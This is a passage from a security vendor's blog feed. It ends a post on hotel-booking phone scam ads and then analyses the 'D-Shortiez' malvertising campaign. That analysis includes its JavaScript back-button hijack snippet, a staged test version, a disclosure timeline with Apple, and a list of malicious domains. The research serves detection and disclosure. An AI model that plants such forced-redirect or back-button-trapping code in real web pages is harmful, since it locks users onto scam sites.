And the website, the website.</code></pre><p>When pressed to repeat their phone, they simply decided to impersonate Delta Airlines&#8217; phone: 1-800&#8211;221&#8211;1212. The website was never revealed.</p><p>At approximately $1.39 per conversion, the scammers manage to reach an average of 55k victims per month through Google Search. While not the cheapest scheme we&#8217;ve seen, it is still a highly effective method to gain authority over the keyword &#8220;reservation&#8221; in ads and entice travelers tripping on their hotel choices.</p><p>Sitting more than 9,000 miles away from the United States, a group of shady agents in India is ready to book you, not in hotels in Florida or flights to Colorado, but in a nightmare of fraudulent charges. Contrary to my previous belief, scale on the internet not only provides convenience for attackers but also for victims. The call-to-action in every ad and the redirects to phone URLs are telltale signs. For anxious travelers, a bad trip is just a phone call away.</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/8f8aaf197e93a40ed5cf63d2243dbebf/raw/c0c031f4fef6148e63b91e9efd2f4a5fda16b4f6/iocs.csv">IOCs</a></strong></p><p><em>As the cybersecurity leader in detecting and stopping Malvertising attacks, Confiant is leading the charge in protecting users from criminals who hijack the ad tech supply chain. Confiant has unparalleled visibility and insight into the malware, scams, and fraud serving through digital ads.</em></p><p><em>Find out more at  </em>https://www.confiant.com<em>, </em>https://matrix.confiant.com<em>, or <a href="https://www.confiant.com/maq-index">MAQ Index Report</a>.</em></p>]]></content:encoded></item><item><title><![CDATA[Malvertiser “D-Shortiez” abuses WebKit back button hijack in forced-redirect campaign]]></title><description><![CDATA[Over the last few years, as AdTech and browser security has continued to mature, many malvertisers have moved on from forced redirect campaigns that target premium publishers and top-tier advertising platforms.]]></description><link>https://blog.confiant.com/p/malvertiser-d-shortiez-abuses-webkit-back-button-hijack-in-forced-redirect-campaign-6b57f91ee737</link><guid isPermaLink="false">https://blog.confiant.com/p/malvertiser-d-shortiez-abuses-webkit-back-button-hijack-in-forced-redirect-campaign-6b57f91ee737</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Wed, 08 Feb 2023 22:06:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/7a0d60dc-11ae-47b9-846f-0de5f4793f78_296x640.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Over the last few years, as AdTech and browser security has continued to mature, many malvertisers have moved on from forced redirect campaigns that target premium publishers and top-tier advertising platforms. The ones that are left, however, typically have little tricks that they employ in order to try and achieve some sort of positional advantage in order to optimize their impact and reach.</p><p>Today we are looking at part of a payload from a threat actor that we call <em>D-Shortiez. </em>A group that runs forced redirect campaigns that propel victims down familiar malicious click-chains which surface familiar scams like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lOz9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lOz9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 424w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 848w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 1272w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lOz9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png" width="296" height="640" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:296,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lOz9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 424w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 848w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 1272w, https://substackcdn.com/image/fetch/$s_!lOz9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24f56c1c-f690-436e-b8e5-5893795d61c2_296x640.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The redirect payload itself consists mainly of largely unremarkable fingerprinting and tracking functions:</p><p>When we come across redirect campaigns like this, we like to pay extra attention to the actual redirect mechanics in order to see if anything <em>weird</em> is going on.</p><p>Starting on line <code>211</code> we see a nested try/catch that attempts the actual forced redirection. This is all fairly standard as different browsers respond differently to different redirect attempts and the bad actors have learned that throwing the kitchen sink at it will maximize the chances of a successful redirection.</p><p>The part that made us pause and closely consider what&#8217;s happening here are these few lines:</p><pre><code>        if (!!(window.top.history &amp;&amp; window.top.history.pushState)) {
            window.top.history.pushState(null, null, &#8216;&#8217;);
            window.top.onpopstate = function(event) {
                window.top.location.href = redirectUrl+&#8217;back&#8217;;
            };</code></pre><p>A description of the popstate event from MDN:</p><blockquote><p><em>The </em><code>popstate</code><em> event of the </em><code>Window</code><em> interface is fired when the active history entry changes while the user navigates the session history. It changes the current history entry to that of the last page the user visited or, if </em><code>history.pushState()</code><em> has been used to add a history entry to the history stack, that history entry is used instead.</em></p></blockquote><p>We staged our own payload for testing as follows and tried it on all the browsers with major marketshare:</p><pre><code>redirectUrl = &#8216;http://google.com/search?q=&#8217;;
if (window.top.history &amp;&amp; window.top.history.pushState) {
    window.top.history.pushState(null, null, &#8216;&#8217;);
    window.top.onpopstate = function (event) {
        window.top.location.href = redirectUrl + &#8216;back&#8217;;
    };
    let u1 = redirectUrl + &#8216;click&#8217;;
    window.top.document.body.addEventListener(&#8217;click&#8217;, function () { window.top.location.href = u1; }, true);
}</code></pre><p>We found nothing unusual while testing this snippet in in <em>almost</em> every browser, but something stood out about Safari&#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!A427!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!A427!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 424w, https://substackcdn.com/image/fetch/$s_!A427!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 848w, https://substackcdn.com/image/fetch/$s_!A427!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 1272w, https://substackcdn.com/image/fetch/$s_!A427!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!A427!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!A427!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 424w, https://substackcdn.com/image/fetch/$s_!A427!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 848w, https://substackcdn.com/image/fetch/$s_!A427!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 1272w, https://substackcdn.com/image/fetch/$s_!A427!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa23f333c-b243-4e4c-a669-89185b40aa80_1590x864.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The script very effectively acts as a back button hijack, comparable to some <a href="https://blog.confiant.com/browlock-malvertisers-abuse-unaddressed-denial-of-service-bugs-that-sit-dormant-for-years-a54a2c20b9dd">browlock</a> techniques that online scammers have leaned on over the years. Victims are lured to scams and the neutralized back button keeps them from being able to back out of the site.</p><p><strong>Impact, Scope, &amp; Targeting</strong></p><p>Over the last 6 months, D-Shortiez have served over 300MM malicious ad impressions targeting primarily US audiences with a long tail that trickles down to Canada and Europe.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hgfn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hgfn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 424w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 848w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 1272w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hgfn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png" width="659" height="368" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:368,&quot;width&quot;:659,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hgfn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 424w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 848w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 1272w, https://substackcdn.com/image/fetch/$s_!hgfn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c600fbf-7471-4e12-9255-1e69fd67d432_659x368.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>While activity has been fairly consistent since August, if we look at it on a trend line, we can see some very aggressive sustained bursts, and some breaks in between.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LjmZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LjmZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 424w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 848w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 1272w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LjmZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png" width="762" height="466" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:466,&quot;width&quot;:762,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!LjmZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 424w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 848w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 1272w, https://substackcdn.com/image/fetch/$s_!LjmZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74b69327-7fdc-4916-9757-7d67aa74f515_762x466.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The platform predominantly targeted platform is iOS</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lTa9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lTa9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 424w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 848w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 1272w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lTa9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png" width="584" height="293" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:293,&quot;width&quot;:584,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lTa9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 424w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 848w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 1272w, https://substackcdn.com/image/fetch/$s_!lTa9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43de09dc-254f-4c97-bbda-c8df1e0823c1_584x293.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>Timeline</strong></h3><p>Sep. 29 &#8212; Reported to Apple</p><p>Jan. 23 &#8212; Addressed with this Safari security update: <a href="https://support.apple.com/en-us/HT213600">https://support.apple.com/en-us/HT213600</a></p><h3><strong>IOCs</strong></h3><pre><code>*.v-hi.shop   
*.f-dk.shop  
*.m-fl.shop  
*.b-qv.shop  
*.g-jm.online
*.y-b.online 
*.m-k.homes  
*.p-a.homes  
*.c-b.beauty 
*.q-j.online 
*.d-y.online 
*.v-i.online 
*.k-bd.online
*.s-o.fun    
*.t-n.beauty 
*.v-mh.online
*.a-p.pics   
*.f-f.site   
*.c-b.site   
*.a-f.site   
*.o-b.site   
*.d-f.site   
*.q-h.site   
*.v-n.homes  
*.s-t.website
*.e-g.store  
*.k-g.site   
*.t-i.site   
*.h-k.site   
*.y-m.site   
*.g-c.homes  
*.v-k.site   
*.k-u.site   
*.g-j.site   
*.o-b.shop   
*.v-g.skin   
*.c-g.site   
*.e-t.site   
*.a-z.skin   
*.a-o.homes  
*.v-t.homes  
*.f-p.homes  
*.e-h.homes  
*.j-h.beauty 
*.a-b.beauty 
*.b-c.beauty 
*.f-t.beauty 
*.r-j.pics   
*.w-h.pics   
*.g-e.pics   
*.y-j.pics   
*.n-s.store  
